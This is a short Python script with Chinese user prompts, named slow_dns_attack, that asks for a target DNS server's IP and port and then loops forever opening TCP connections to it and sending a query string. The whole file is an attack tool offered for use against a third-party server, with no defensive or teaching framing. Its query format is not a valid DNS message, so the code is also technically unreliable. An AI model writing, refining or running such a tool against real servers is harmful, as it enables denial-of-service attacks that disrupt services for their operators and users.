import socket
import time

def slow_dns_attack(target_ip, target_port, query, sleep_time, retry_sleep_time):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target_ip, target_port))
            s.send(query)
            s.close()
            time.sleep(sleep_time)  # Adjust sleep time to slow down the attack
        except Exception as e:
            print(f"Error: {e}")
            time.sleep(retry_sleep_time)  # Wait before attempting again

if __name__ == "__main__":
    # 获取用户输入
    target_ip = input("请输入目标DNS服务器的IP地址: ")
    target_port = int(input("请输入目标DNS服务器的端口 (默认为53): ") or 53)
    query = input("请输入要发送的DNS查询 (例如: 'example.com'): ").encode()
    sleep_time = int(input("请输入发送查询之间的延迟时间 (秒): "))
    retry_sleep_time = int(input("请输入异常后重试前的等待时间 (秒): "))

    # 开始攻击
    slow_dns_attack(target_ip, target_port, query, sleep_time, retry_sleep_time)